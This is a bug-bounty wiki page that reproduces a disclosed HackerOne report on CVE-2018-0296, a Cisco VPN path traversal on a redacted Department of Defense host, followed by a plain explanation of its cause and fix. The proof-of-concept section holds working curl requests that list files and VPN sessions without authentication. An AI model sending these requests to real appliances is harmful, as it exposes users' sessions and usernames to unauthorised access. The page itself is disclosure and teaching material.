Skip to content
Path traversal Disclosed report Beginner CVE-2018-0296

[CVE-2018-0296] Cisco VPN path traversal on the https://██████████

A Cisco VPN appliance on a government network was running a version vulnerable to a known path traversal flaw. An unauthenticated attacker could use crafted requests to list files and disclose sensitive information such as VPN sessions and usernames.

sp1d3rs Follow

Originally disclosed on HackerOne

Medium 5.3 View original
  • Triaged in 45 hours
  • Fixed in 18 months
  • Paid in 6 days
  • Disclosed after 4.8 years

##Description I discovered previously unidentified instance https://████████ in DOD network, vulnerable to the CVE-2018-0296 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0296) It also accepts username and password for login flow instead secure cert auth.

##POC

curl -i -k "https://█████████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is

████

We can disclose user sessions by quering /sessions:

curl -i -k "https://█████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

##Suggested fix Updating to the latest version should fix the issue. Fixed version should give 404 "File not found" error. Example of patched version:

curl -i -k "https://mvpn3.█████████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

Impact

Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it's possible to cacuse DOS attacks

The original report as published on HackerOne, by sp1d3rs. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Cisco VPN web interface failed to normalise or block traversal sequences in the request path, so requests could reach protected directories without authentication.

Impact

An unauthenticated attacker could disclose sensitive information such as VPN sessions, files and usernames, and under some conditions may be able to cause denial of service.

What the attacker needed

Network access to the VPN appliance; no login required

The fix

The device should be updated to a patched version, which returns a 404 'File not found' error for the traversal request.

How it was found

  1. Send a crafted request to the VPN host using a traversal path to reach the file listing endpoint.
  2. Observe that the response returns a file listing without authentication.
  3. Add a path parameter pointing at the sessions directory to list active sessions.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A path traversal is when a web server lets a request reach files or folders it should not, by using '..' tricks in the address. Here the VPN device could be asked for a file listing outside its normal web folder, and it answered without asking anyone to log in. That let the researcher see things like active VPN sessions and usernames.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by sp1d3rs

View all

62 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.